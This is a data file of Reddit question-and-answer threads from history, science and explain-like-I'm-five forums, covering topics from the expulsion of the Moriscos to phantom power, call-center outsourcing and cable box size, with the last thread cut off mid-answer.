{"q_id": "64edkw", "title": "AMA: \"The Expulsion of the Moriscos from Spain in History and Literature\"", "selftext": "Diana Galarreta-Aima, a native from Peru, received her Ph.D. in Early Modern Spanish Literature from the University of Virginia in 2015. She is currently an Assistant Professor of Spanish at James Madison University. She is currently working on a book project entitled \u201cReturning to Spain: Life, Literature, and Captivity in Algiers and Turkey,\u201d which studies the relationships between captivity and conversion narratives, and the most pressing issues of the sixteenth and seventeenth century: language, belonging, and community.  She has published peer-review articles on Berber chronicles as bridges of contact and representations of rich material, human and cultural interchanges across the Early Modern Mediterranean societies.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/64edkw/ama_the_expulsion_of_the_moriscos_from_spain_in/", "answers": {"a_id": ["dg1hh2h", "dg1hy0l", "dg1i1sh", "dg1i3wj", "dg1id99", "dg1iluv", "dg1ituf", "dg1iwwn", "dg1izu5", "dg1juoq", "dg1lw51", "dg1ol7x", "dg24p05"], "score": [6, 8, 9, 9, 4, 2, 5, 2, 4, 2, 6, 6, 2], "text": ["How did the economy of North Africa cope with the arrival of the moriscos?\n\nWas there a strain on it from the arrival of essentially refugees or where the moriscos actually a net boost due to the arrival of new skilled workers?", "Could you comment on the differences and similarities between the expulsion of Moriscos and Jews from Spain? As I understand it, the expulsion of the Moriscos takes place later but were similar dynamics at work, especially vis a vis a \"blood\" based justification?\n\n", "How did the attitudes of other non-Morisco Spaniards change toward the Moriscos in the period from the fall of Granada to the expulsion?", "Thanks so much for doing this AMA! \n\nIn Lineages of the Absolutist State, Perry Anderson makes a point of how devastating this was to the Aragonese economy. Elsewhere he also points out that on many issues, Aragon was able to function almost autonomously from central Castilian State authority.\n\nWhy didn't Aragonese landlords stop the expulsion, even if only out of pure self interest?", "Thank you for being with us today!\n\nMany discussions of colonialism in the New World trace the roots of the structure/justification of expansion to the *Reconquista* and colonization of the Canaries. I would like to know more about these long-term trends for selfish reasons related to my area of study, but unfortunately, my knowledge of Spanish cultures during this time is woefully poor. \n\nHow did notions of race/ethnicity/language/belonging develop in Spain during your period of expertise, and how did a notion of the \"other\" influence both individual and larger societal relationships with Moriscos? If not too far afield of your research, do you see any expansion/adaption of those ideas of \"other\" during the early stages of colonialism in the Americas? Do you have any suggestions for recommended reading?\n\nThank you for your time.", "What are good, detailed books in English about the Morisco revolt?", "Are there avenues towards Spanish citizenship by Morisco descendants today the way there are for converso descendants?", "What do you think of the Alatriste books? What do you think of the Alatriste character (and the other characters in the series)?", "In the Alchemist by Paulo Coelho, Southern Spain was just a two hour ferry from Tangiers and commerce between the two communities seems common. After the expulsion, where there still regular commercial relations across the straight?", "Was there a relationship between the 12 year truce with the Dutch and the expulsion of the Moriscos?", "What was the religious make-up of the moriscos? Were there any Christians expelled? How did they adjust to life in North Africa?\n\n\nHow did Spanish society react to the expulsion of people who were clearly of pure iberian decent but were muslim too? Was there a call to differentiate the two groups?\n\n\nWere there attempts to rationalize the fact that many Christians converted to islam in large parts of the peninsula?\n\n\n\nWhat are the ramifications of the expulsion on the peninsula up till now?", "You talked about different outcomes for conversos and Moriscos who stayed, but what sort of different outcomes do you see for Muslims and Jews expelled from Spain? Were there many generations of Spanish-speaking Muslims? Because obvious Balkan, Anatolian, and North African Jews spoke Spanish in diaspora until the 20th (cf. Rey Romero's *Spanish in the Bosphorus*, for instance). The expelled Spanish Jews made quite an impact on the rising Ottoman Empire, but the Spanish Muslims don't seem to have had the same impact, at least as far as I've heard. \n\nIf you haven't seen it, I strongly recommend the documentary \"[Las Ultimas Palavras](_URL_0_)\", which is about Judeo-Spanish in Turkey, and how it was spoken as the mother tongue for Turkish Jews until really the 1970's or so. My generation, the one 25-35, seem to be about the first to grow up without fluency in Judeo-Spanish and this film is about them. Since it's still being shown at festivals and the like, it's not online, so you'll have to contact the film maker to get a copy, unfortunately, but it's fascinating. \n\nLastly, you might know the literature on nationalism, but there was once a consensus that nationalism (the borders of the state should be congruent with the borders of the nation, more abstractly, the cultural unit should be congruent with the governance unit) dates to the modern period and the French Revolution. A couple of scholars\u2014Leah Greenfeld, Anthony Marx, Philip Gorski\u2014have been pushing this back into the earlier modern period. Anthony Marx's *Faith in Nation* because he finds the earliest parts of nationalism not in the expanding of French civic identity or Romantic German and Italian desires to bind all people together in one state, but in early modern expulsions: the expulsion of Jews and Muslims from Spain, of Huegenots from France, Catholics from England. Do you think it's fair to class this as perhaps the earliest layer of modern nationalism (as an *-ism*), or do you think there's something else going on?", "How many Moriscos were expelled from Spain, and how many stayed?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], ["https://lasultimaspalavras.wordpress.com"], []]}
{"q_id": "1rl8dk", "title": "Mongols, Tatars, and Turks... Go.", "selftext": "My understanding is that modern Mongols and Turkic peoples are very distinct ethnically and linguistically. Many of the \"Tatar\" Khanates that existed after the Mongol conquest are labeled \"Turkic,\" and their modern descendants are clearly Turkic. This is weird because their rulers trace direct descent from Genghis and his empire. And the word \"Tatar\" is supposed to refer to people who came from central modern-day Russia, but is being applied by everyone to both Mongols and Turks. And the super-distinct ethnolinguistic family that is the Turks apparently only shows up for the first time during this period. Wat.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1rl8dk/mongols_tatars_and_turks_go/", "answers": {"a_id": ["cdoevt2", "cdoifjz"], "score": [9, 3], "text": ["Ok... I'm not too sure what your asking so I'm going to answer \"Why did some Turkish rulers claim to be descendents of Genghis if they were not Mongolian?\"\n\nSome of them were Mongolian, despite being ejected out of the middle east after the fall of the Ilkhanate many Mongols were fully assimilated and stayed. The best example I think would be Babur, he falsely (though I think he believed it) claimed that he was a direct descendent of Genghis and created the Mughal empire which actually means Mongol on Turkish. A Turkish ruler having Mongol blood is not surprising but the ones that claimed to be direct descendents from Genghis Khan were only trying to validate their right to rule.\n\nIf you wanted a different question answered just let me know.", "Turks, as an ethnic group, have existed in central asia since pretty much forever (since humans spread there I suppose). As you can imagine, they were pretty disparate, and nomads, so hard to get a historic handle on. You might be best off looking at anthropological sources to look at their origins.  \n\nThe Mongols were the tribe that united all the other Turkic tribes under Chinggis (Genghis) Khan. \"Chinggis\" is the Persian pronunciation used in a lot of sources, as opposed to the anglicanised version \"Genghis\".  \n  \nSo a lot of people use \"The Mongol Invasions\" as shorthand for the long chain of military conquests begun by Chinggis Khan. But by the time they get very far, there are very few actual Mongols in the army. Those who were invaded were often enlisted into the army and the force grew exponentially. So its while Chinggis was in charge, its probably best to call them \"The Chinggisid invasions\".  \n  \nBut even then, Chinggis died before all the invading was complete. So you'd also want to name them after their specific leaders, like the \"Hulaguid invasions\" in China. Some experts still just refer to everything as Mongol simply to delineate them from the Seljuks, even though its not technically correct, so do as you please.   \n  \nThe Tatars were a Turkic group that established itself properly around the river Volga *after* the Mongol invasions, being a mix of original Turkic Volga Bulgars and invading Kipchak turks. They developed a distinct culture, then spread out again across central Asia taking their culture with them. So they were a tribe that developed a distinct ethnocultural, but still Turkic identity.\n\n  \nSource: George Lane, lecturer, SOAS, University of London"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4x6347", "title": "how do you know what std's to get tested for?", "selftext": "I've heard that during STD tests they usually don't check for every single disease. If that's true, how can people be sure they're clean? What role does gender/type of sexual activity play, when deciding what type of STD test to do/what to test for? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4x6347/eli5_how_do_you_know_what_stds_to_get_tested_for/", "answers": {"a_id": ["d6cso7h", "d6ctdf9", "d6cuez2", "d6d6pdb"], "score": [20, 2, 8, 2], "text": ["STD testing, like most medical tests usually go with a doctors recommendation, or you also visit a a doctor.  You tell your doctor your symptoms and they decide what tests to run on you. Otherwise, if you just go on your own, you can get a \"standard\" set of tests\n\nThe same thing happens say if you get a blood test. They don't test for literally everything. But they have some standard tests, and if the doctor feels your symptoms should get tests for other items, they will also have that test run.\n\nFor example, many years ago I was having a medical issue, the doctor suspected it from my symptoms and was going to run some blood tests on me.  In addition to the regular test, the doctor also had them run about 10 other tests they can run, but were not standard. And guess what, yup his diagnosis was right, and the blood test, since it had those additional test, also confirmed it.", "If you're just getting tested to make sure you're clean  &  you don't have any symptoms, they're just going to run tests for the most common diseases and HIV (because that's scary).  The vast majority of infections come from a small handful of diseases so there's very little reason to test for something that only makes up a half of a percent of infections.", "Some of these other comments are terrible.\n\nDifferent doctors and clinics will give you a different set of tests. Some of the reasons are:\n\n1.) They are choosing to test for the most dangerous STD's (HIV)\n2.) They are choosing to test for the most common STD's (Chlamydia, Gonorrhea, Syphilis)\n3.) They are choosing to test for the most treatable STD's (same as above)\n4.) They are choosing the most inexpensive tests.\n5.) They are choosing to test for the only the testable STD's (excludes HPV for males)\n\nIf you've had unprotected sex, you need to wait a number of months and have a test for #1, and you need a urine test for #2, and you need to probably special order a test to check for blood antibodies for Herpes (HSV-II). and there is no test for HPV for males, so you just hope you don't give your next partner cervical cancer.\n\nIn short, make sure you know ALL the STD's you can carry, how long it takes for them to show up in tests after you've been exposed, and you need to make sure that your doctors is testing for all of them.\n\n\n", "You don't, and they can't.   \n\nAbsent symptoms, testing for HSV and HPV is unreliable and usually isn't done. They're hard to detect and aren't really considered very serious by the medical community. Absent symptoms, testing for these usually isn't advised. They don't kill you like Syphilis and HIV, and aren't easily treated and highly contagious like Chlamydia and Gonorrhea. No one gets regular cold sore tests as far as I know.   \n\nHIV, syphilis, chlamydia, and gonorrhea are the 4 they're testing for most of the time. Unless you're a gay man, prostitute, IV drug user, 19th century sailor, or someone who often has unprotected sex with any of the above, HIV and Syphilis are statistically nearly a non-issue for you.  \n\nIn that case what you're really getting is a gonorrhea and chlamydia test. Sometimes Hep C.    "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1wfc4s", "title": "A question about Most Recent Common Ancestor (MRCA)", "selftext": "The \"Identical ancestors\" article on Wikipedia includes the following passage:\n\n\"The identical ancestors point for Homo sapiens has been estimated to between 15,000 and 5,000 years ago, with an estimate of the human MRCA living about 2,000 to 5,000 years ago, that is, estimating the IAP to be about three times as distant as the MRCA.[3] Note that both the matrilineal and the patrilineal human MRCAs are far more remote still, dating to some 200,000 and 338,000 years ago, respectively.\"\n\n_URL_0_\n\nWhy do the \"matrilineal and the patrilinial human MRCAs\" date to up to 338,000 years ago, while the human MRCA is dated to 2,000-5,000 years ago?  What is the difference between these dates?  Is the older date the point at which both matrilineal and patrilinial MRCAs existed together (i.e. reproduced with each other)?  \n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1wfc4s/a_question_about_most_recent_common_ancestor_mrca/", "answers": {"a_id": ["cf1meju", "cf1ut9f"], "score": [5, 2], "text": ["So the identical common ancestors are a group of related individuals, whereas the MRCA is a single individual (likely a descendent of one of the identical ancestors).  The reason you can go further back in time with the identical ancestors is because there are more of them than the MRCA for humans to potentially be descended from.\nThe matrilineal and patrilineal MCRAs are completely different things, and should always be considered separately.  Matrilineal MCRA refers to mitochndrial DNA.  This is DNA found only in the mitochondria of cells and is passed on only from your mother (due to it being contained in the egg and not the sperm).  It is found in both men and women.  Therefore, we can trace this matrilineal DNA back through an unbroken chain of women for about 200,000 years.  \nPatrilineal DNA refers to the Y chromosome, and is found only in men. It is passed from father to son.  Just like the matrilineal DNA, we can trace it back through an unbroken line of men to 338,000 years ago.  \nTechnically, since these years are so far back, we can trace these two different types of DNA back to when H. erectus was just dying off and Neanderthals were still alive.  The older date is not when they reproduced with each other (since we have to consider them separately) but simply how far back we can trace it.  \nMCRA must be related to all humans alive today, whereas the matrilineal and patrilineal MCRAs are sex specific: the individual from whom we are all descended could have been male or female, and would have its own mitochindrial DNA or Y chromosome we could trace back further still, to give us identical ancestors that lived much further back in time", "Note that the estimate given for the identical ancestors point in Wikipedia is based on this paper: _URL_0_\n\nWhile their work is interesting, it is based on a computer simulation of a crude human history and prehistory, and not on any of the recent data we have on human genotypes across the world. It is in my opinion unlikely to be correct, because there are still a few apparently unadmixed populations in the Americas, such as the Mixe Indians and a few isolated groups in South America. These peoples would have a set of ancestors descended entirely from the peoples that crossed over (what is now the) Bering Strait, at least ten thousand years ago. \n\nTherefore they could not have a MRCA with European populations more recent than that, unless we assume some genetic introgression that our genotyping hasn't been able to detect. \n\n\nBasically, the computer model fails to fully account for the existence of small, isolated populations, as well as extended stretches of complete isolation for large populations, so I don't think it corresponds to reality exactly. I would bump up the estimates given by a factor of three or so, maybe even a little more. \n\nIf there were still full-blooded Australian Aborigines around, you could increase the estimate for the MRCA even more (so: the number has been dropping over the past two hundred years), but I do not believe that Australian Aborigines without some amount of European ancestry exist any more. However, the history and prehistory of Australia should give us high confidence that the IAP is as far back as the settlement date of Australia (40-50 thousand years ago). Obviously the modern aborigines have some set of ancestors from this time period, and those ancestors are *not* shared with most other human populations around the world.\n"]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Identical_ancestors_point"], "answers_urls": [[], ["http://tedlab.mit.edu/~dr/Papers/Rohde-MRCA-two.pdf"]]}
{"q_id": "1fizsj", "title": "what is phantom power?", "selftext": "I hear it a few times in conversation with audio guys. What is it and how does it work?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1fizsj/eli5what_is_phantom_power/", "answers": {"a_id": ["caasyjn", "caaw6zv"], "score": [2, 3], "text": ["The power that's fed to the mic is both carrying the signal and powering the mic. \n\nImportant because no batteries are needed.", "Some devices that output a low-impedance signal require power (condenser mics and active DIs).  Either these devices plug in to a wall (which introduces grounding issues and is inconvenient), have batteries (which are undesirable for obvious reasons), or they have the power supplied via *phantom power*.  Phantom power supplies the power back through the cable itself, by adding 48 volts to both the hot and cold pins.  Since the signal that the device is sending is interpreted to be the difference between the hot and cold pins, adding 48v to both doesn't affect that, but the mic or DI box can draw power from it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3zczah", "title": "why do belly buttons pop inside out a lot of the time in pregnancy, but don't do the same with obesity?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3zczah/eli5why_do_belly_buttons_pop_inside_out_a_lot_of/", "answers": {"a_id": ["cyl586c"], "score": [2], "text": ["Fat is tissue stored between the skin and muscle or organs. Pregnancy is a growing fetus pushing and rearranging organs, muscle tissue, etc. A belly button is just scar tissue that can be pushed out of the way by a growing fetus. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3hbwzy", "title": "what exactly is the purpose of the sunroof in a car?", "selftext": "Is it only for show?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3hbwzy/eli5_what_exactly_is_the_purpose_of_the_sunroof/", "answers": {"a_id": ["cu608v4", "cu60vwk"], "score": [13, 2], "text": ["...What do you mean? It's a window. It lets in light and you can open it and get a nice breeze.", "All cars (in the UK anyway) had sunroofs (tilt n slide!) but it was cheaper to fit AC instead so they're quite rare now. I miss them as they let the light in which was nice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2tysj0", "title": "why do companies exclusively hire foreign people to do technical / customer support, despite the language barrier being a headache most of the time?", "selftext": "I know the cost is a big reason, but I find it hard to believe that all other options were tried.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2tysj0/eli5_why_do_companies_exclusively_hire_foreign/", "answers": {"a_id": ["co3igx2", "co3ijp7", "co3il5q", "co3iv08", "co3ivkc", "co3jiyd", "co3k5dh", "co3kn6z", "co3o2uo", "co3o3s7", "co3ou3c", "co3pfx6", "co3ro5z", "co3ttle", "co3tzes", "co3ue11", "co3vdm0", "co3vq0a", "co40uxc", "co42bmj", "co4594i", "co45dp1", "co45lrc", "co4b23z", "co4bx7x", "co4elme", "co4fvoi", "co4g886"], "score": [185, 43, 2, 19, 9, 9, 3, 8, 2, 2, 8, 3, 2, 3, 2, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 2, 2, 2], "text": ["cost is huge. many countries have more lax labor laws than the US. So most companies would rather higher someone who is 30% cheaper and will work an additional 15 hours per week without complaining.", "The view in many companies is that customer support/tech support is a money pit. Call centers like these generate very little money, regardless of quality.\n\nThis makes sense if you think about it. Call center quality is going to have very little effect on the purchasing decisions of the average consumer.\n\nSo companies have a choice, outsource all call center services to another company or try to build a very expensive call center from scratch.\n\nMany companies choose to go the easy route and outsource their call centers entirely. For some companies, this just means hiring another company here in the same country to handle it. For more and more companies, India has the cheapest call centers for hire.", " >  I know the cost is a big reason, but **I find it hard to believe** that all other options were tried.\n\n...and you're basing your disbelief on what, exactly? Do you have any experience in business and/or cost analysis in major corporations?\n\nCost reductions in foreign countries are the primary reasons why companies relocate *ANYTHING* overseas. It is a hassle for the company to split their operations. So, the only reason they are willing to put up with this hassle is because of the *MASSIVE* cost savings.", "The misconception seems to be that they \"exclusively\" hire foreign people. For the sake of the argument, I would keep in mind most companies that you're probably talking about are global, as in only primarily based in America. So, \"foreign people\" isn't really accurate. Regardless, here's a number of reasons:\n\n1. Labor is cheaper in developing countries. The immense amount of money saved by using international call centers is extremely motivating.\n\n2. Operating outside of business hours. Companies that need to provide 24/7 support don't want to hemmorhage money paying employees in the US to work overnight. It's simply easier to pay someone in a different timezone who is working a normal shift.\n\n3. Most customer service isn't hard, it's just following a script and putting up with assholes. They can always escalate the issue if they are having difficulty.\n\n4. Companies don't hire exclusively foreign people to answer phones. It's usually just Tier 1 customer facing issues. Normally, more critical issues will go to Tier 2 or 3 for service, who will be trained people who are much more familiar with the system.", "These call centers are mostly based overseas like india and the philippines were wages and costs are very low compared to the US. Also english is widely spoken in these country the quality thougg of english is up for debate.", "I think cost is the biggest reason.\n\nIn India average salary for a call centre employee is around 5000$ p.a\n\nBesides if you can ignore our accents, our English isn't that bad. There are some call centers which offer accent training.", "Honestly as a tech company doesn't  want you to call. When you call it costs money. If its hard you are more likely to attempt to solve your own problem which 90% of the time a Google search will tell you what to do. So I make artificially long wait times, hard to navigate menus and staff with language barriers.", "Think about how major corporations deal with employees.  In the old model, you have call center folks on staff, sales people, engineering or technical people, management people, marketing people, HR, back office, and executives.\n\nWho puts money into the company's pockets?   Sales (selling generating revenue), Engineering (making things to sell), Marketing (making people aware so they can buy), Executive (setting direction and strategy for the company), and to some extent, back office (collecting the money and making sure people are getting paid).  Everyone else is overhead.\n\nA particularly popular metric to report on is revenue per employee.  The fewer employees you have, the better that number is, even though it's bullshit.\n\nIf you can outsource your HR and Call center people (those that make you no money), you can \"operationalize\" those functions -  treat them basically like the electric bill. The bill comes in, you pay it.  It's that simple.\n\nNow, to make it cost effective, you not only outsource it, but you also off-shore it.  Now your cost per call or cost per issue drops by a factor of half or more.\n\nAs long as the quality stays up, you're golden.", "They are actually in other countries, they are not immigrants.\n\nThe saved cost is insane.", "1. They're cheap to hire.\n2. Customers are willing to put up with this nonsense. ", "It all comes down to the Fight Club equation; If the amount of money saved by moving call centers abroad minus the lost business from frustrated customers is still more than other options that cost more but have better customer satisfaction, then most companies will move their call centers abroad.", "Wages are much lower, and there is an overabundance of international fiberoptic cable capacity, so it costs very little to route all the calls internationally.", "Because they don't care. The longer you are on hold, the less support they actually give, the less likely you are to bother calling in the future. By making customer support the least helpful it can be, they lessen the need for it in the future. \n\nAlso, by making it difficult or impossible to get through or to effectively communicate with the call center agent, it lessens the amount of money they'll have to spend fixing problems you may have: correcting a bill, sending a replacement product, allowing you to cancel a service. Even if you should be entitled to those things, if you get frustrated and hang up, the company isnt going to have to do shit. ", "I work in a call center for a medical insurance company.  My dept. handles calls from providers dealing mostly with medical claims.\n\nHalf of the calls we get are from third party billers that are based over seas (India).  It is a pain for us to deal with these people because of the language barrier and minimal training and experience they have.  All they do is clog up the call queues with questions that could be answered by looking at the information we send to them after every claim gets processed.\n\nNot only is it a pain for us but the providers that hire these billers are losing tons of money in insurance payouts.  There are guidelines for billing medical services in the U.S. and if a claim is not billed within a certain time-frame or billed a certain way the doctors office doesn't get payed.  \n\nI see these companies losing hundreds of thousands to millions of dollars per year in insurance payouts for the providers that hire these companies.  I just don't understand how or why these companies exist.  Surely it would be cheaper to hire a few medical billers in the U.S. who know what they are doing instead of these outsourcing companies based in India that are losing your office hundreds of thousands every year.\n\nJust as an example I had a biller from India tell me an SSN for one of our members was 123-45-6789, and yes, that really happened.", "I worked at a large ag/construction/forestry/turf machinery manufacturer a while back.  They outsourced a position while I was there.\n\nThe company in India that the work was sourced to worked for Best Buy and NUMEROUS other American companies (all I can remember was BB).\n\nThese Indian companies have a huge amount of human capital that are paid relative nothing compared to American workers.\n\nMore or less it's done because it increases net income - >  helps the company's stock value and as long as it works, it doesn't have to be best for the consumer.", "Watching the average pay of some of the people here made me feel that i was a slave with my $3 hour payment :c", "I work in a Call Centre in the UK, and the company I represent has some foreign Call Centres as well, but that's purely because they offer 24/7 customer support. So instead of paying for a night shift in the UK, where they would have to pay a lot more money for the night shift, they outsource it to a more inexpensive location.\n\n", "Considering that these call centers are located outside of the US, they're not really \"foreign\" but actually local....", "Developing countries have a comparative advantage in unskilled labor. While the quality of their work may be 50% of equally skilled U.S. workers, their pay is still 70% lower (made up numbers). They make up the lower efficiency by hiring more people, keeping average call times the same as if they sourced their call centers domestically, while saving on wages and benefits. 20 years ago companies may have been able to pass the savings on to the bottom line, but in order to compete today, much of the savings are passed on to their U.S. customers.\n\nTL;DR So they can be more competitive.\n\nSource: Grad school lecture this morning on trade theory.", "Cheaper labor. You don't have to be a rocket scientist to figure that out. ", "What other option is there besides cost? Would you rather pay somebody  minimum wage, or half the minimum wage to do the same work? If I was CEO, it's a no brainer, outsource it. \n\nEven at my job, at an AMERICAN aeronautical company, we outsource our work to other American companies that will do it for half the price we're charging. This is nothing new. If you can make profit from having somebody else do the work for you, why wouldn't you?", "They work cheap. They work cheap. They work really really cheap.", "I worked on an IT help desk for a number of years (10 maybe) for a place in Silicon Valley. Good work but it got old. Took a buddy's advice and started into Information Security. Got some experience making a name for myself as a friendly and hard worker doing grunt work for the Infosec team. Joined the team after about 6-8 months. Picked up some core certs and am making much much better money now than I was before. Infosec is blowing up right now. Target hack, Sony hack and numerous others are pushing security awareness to the front in a way it never was before and to all (the right) levels of most enterprises and they can't find enough talent in the market. As a former IT Helpdesk staff to another, if you like technical work, check you out some hot Infosec sweetness. It's fun and rewarding. You get to chase bad guys and be a hero. How cool is that?\nOr I hear periodontology is cool too....", "I think you answered your own question. Customer service reps can't cancel your service if they can't understand you. Technically you'll just get frustrated and hang up. Works great!!", "If you're calling them, they've already sold to you.", "It is genuinely sad to see so many call center jobs outsourced. \n\nI'm kinda lucky, i landed a call center job at a company that pays well (caps at 55k/year) and most importantly, keeps the call center in-house. \n\nThis company uses our call center as a honest doorway to the rest of the company. Other departments frequently hire directly from us and the company offers a 50% tuition for further education. So if we don't have the skills, we can build and acquire them. \n\nNow, my job before this one paid half as much and was a 3rd party call center. I once found out how much they bill the client for my time and it was 3x what they paid me. \n\nSo, that client could have dropped our call center, made one in-house, paid the call center employees twice as much and would get a significantly improved customer service team at the same or lower costs. As well as the ability to poach talented employees from the call center for better jobs. \n\nI hope outsourced call centers, even within the same country, eventually die out. ", "Because we let them. Why would they pay a single dollar more on phone answering staff than they do now? People still buy just about everything based on price, not quality, and damn sure not after the sale support quality. From computers to home owners insurance is about price at time of sale. A company that uses US based support will end up either not making their share holders as much money (which is bad) or making products that cost slightly more (which is a death wish).", "Despite? It's *because* the language barrier is a huge headache. If we have to explain the situation four times to three different heavily-accented Indians or Filipinos, we're less likely to call. From the company's point of view, anything that reduces customer calls is good."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "6z40wn", "title": "why is \"will not\" contracted into \"won't\" and not \"willn't\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6z40wn/eli5_why_is_will_not_contracted_into_wont_and_not/", "answers": {"a_id": ["dmsatxn"], "score": [40], "text": ["It's an abbreviation of wollnot (wonnot) which comes from the archaic form of will which is woll"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2vo79o", "title": "why are cable boxes so big, yet more technologically advanced devices such as smart phones can fit in the palm of our hands?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2vo79o/eli5_why_are_cable_boxes_so_big_yet_more/", "answers": {"a_id": ["cojezqy", "cojfokd", "cojg7gd", "coji0p2", "cojjhk7", "cojjqow", "cojmeeu", "cojms85", "cojnvzz"], "score": [7, 78, 30, 5, 2, 3, 7, 7, 2], "text": ["Realistically, they don't have to be as big as they are. Generally speaking, making an electronic device smaller adds to the cost of developing that product. It makes sense to put the money into R & D for creating a smaller smart-phone because quite frankly you don't want to carry a brick in your pocket, however, the size of your cable box doesn't really matter. You're not going carry around your cable box and there really isn't a need to make them any smaller, so manufacturer's save cost by keeping them larger. Additionally, most cable boxes have a lot of connectors on the back for various applications; these also limit how small the box can get, since all of the connectors have to be soldered onto the logic board. ", "Cable boxes need to contain the analogue circuitry to deal with whatever else (i.e. cable TV) signals, 90V power (in some cases) may be coming down the line.  (the 90V power is for repeaters and other things that make the trunk lines work; should probably be filtered out at the house drop).  You're talking big analogue circuitry... which you could put into a smaller package, but you'd have to cool it. Bigger package and vents = cheaper.", "Most cable boxes don't have a cooling fan.  They use \"passive cooling\", i.e. natural convection to get the heat away from the components that generate it. \n  \nHaving a larger enclosure makes it easier to manage the heat without making the enclosure itself get so warm that it would alarm consumers.  \n   \nUsing a larger enclosure also saves a bit of money (if done right), since packing things tightly on the Printed Circuit Board requires a more expensive PCB and sometimes more expensive components.   \n  \nIn some cases, a larger box also makes consumers believe that they are getting something \"better\". Since they aren't mobile, customers don't value small size, and they tend to relate a larger, heavier box with higher quality. ", "Almost all of them use cheap 3.5\" hard drives for storage. We have a new smaller version one and the ports take up over 50% of the back.\n\nIn addition, some people like to put their TVs on top of them.", "They are getting smaller. When my Comcast (I know, I know) box died a few months back, they gave me a replacement that was less than half the size of the old one. They also tried to upsell me on an \"additional outlet\" box without DVR functionality that was only half the size of my new one. ", "The big ones have multiple tuners, a hard drive, and power for all those tuners and hard drives.\n\nYou can get smaller simpler ones, which have fewer tuners, no HDD, and power from a brick or wall supply.", "All of the below:\n\n1. The cable boxes you are using are not New products, they are fairly old. a Newly made cable box could be small.\n\n2. Cable boxes are technically Leased to households, with 36+month ROI to the provider (on average)\n\n3. There's not much incentive to invest in R & D for anyone in the industry\n\n4. Nobody is canceling cable due to box size.\n\n5. The only factors that matter to a cable provider are either Churn (losing customers) or Upsell (getting customers to subscribe to higher service tiers)", "There's no technical reason, but there is an economic one.\n\nDevices like [SimpleTV and TabloTV](_URL_1_) are smaller and do more, faster, than cable boxes. Those two don't have hard drives (they use USB hard drives) but [Channelmaster sells a DVR](_URL_2_) that has the footprint of a cable DVR  but is thin, and [has a laptop hard drive inside of it](_URL_0_).\n\nThe reason cableboxes are gigantic (and slow) is that cable companies are cheap and shitty. They use outdated components, bottom of the barrel powersupplies, and have equipment manufacturers slap it all together the cheapest way possible, which leads to lo-tech, slow, large, hot, devices.", "Demand for a tiny one isn't there so spending money on developing it seems wasteful"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://i.imgur.com/lGBth2F.jpg", "http://i.imgur.com/XlfKFQ4.jpg", "http://i.imgur.com/1bU0cnt.png"], []]}
{"q_id": "1qj7y1", "title": "Can you break your own bones using only muscle strength?", "selftext": "Since I was in school I was wondering this - if you are strong enough can you break your own bones by just flexing your muscles? What I mean is when you stretch your out and keep pushing you can feel a lot of tension in the elbow. Is it possible to break this joint just by stretching your arm hard enough?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qj7y1/can_you_break_your_own_bones_using_only_muscle/", "answers": {"a_id": ["cddbvrl", "cddif2z", "cddighz", "cddjn39"], "score": [14, 8, 9, 4], "text": ["Yes if you apply the right force, for instance people frequently break the humerus in arm wrestling because it is not good at withstanding spiral force. \n\nThe muscles of the jaw can produce enough force to break your teeth but the body's proprioceptive senses stop you from doing this. For instance apply electrical muscle stimulation (e.g. ECT) that bypasses nervous control could do this. ", "Interestingly, gorillas do not have the built in limiters which prevent humans from breaking their own bones due to personal muscle strength (as opposed to mechanical muscle strength, ie the wrench, arm wrestling, or metal bar analogies) so it IS possible to see a male gorilla break its own forearms while angry and flexing. I woe hardly call it common. \n\nI imagine it would possible for over developed humans to flex and break a bone, (though the gains may have to be attained very rapidly, or the bone weakened) but for those average sorts who don't spend most of their time in the gym I doubt its feasible. ", "Technically yes, our muscles are capable of producing enough force to break the bones they're attached to, but there are a few reasons why they would not. This is all under the assumption that there are no bone mineral deficiencies that are decreasing normal structural integrity. \n\nFirst, all muscles groups have an antagonistic muscle group. This is what allows us to move each joint to and fro (flexion/extension, pronation/supination, abduction/adduction). Antagonistic muscle groups reflexively fire in order to stabilize the bones/joints when its counterpart is innervated. This prevents the structural failure you're inquiring about. Even in a case where there is extreme muscular imbalance between antagonistic muscle groups, you would be more likely to cause soft-tissue injury than break bone.\n\nSecond (and this addresses the other part of your question), all muscles span a joint (or gap between two bony structures), some span two. A joint would dislocate long before the bones would break. In order for a joint to be dislocated, it has to be moved outside its normal range of motion. It's normal range of motion is determined by the muscles that move it and the various connective tissue--the same things you would be using to try to dislocate it. And again, you have the antagonistic muscle group stabilizing the joint. It is possible to actively control and relax 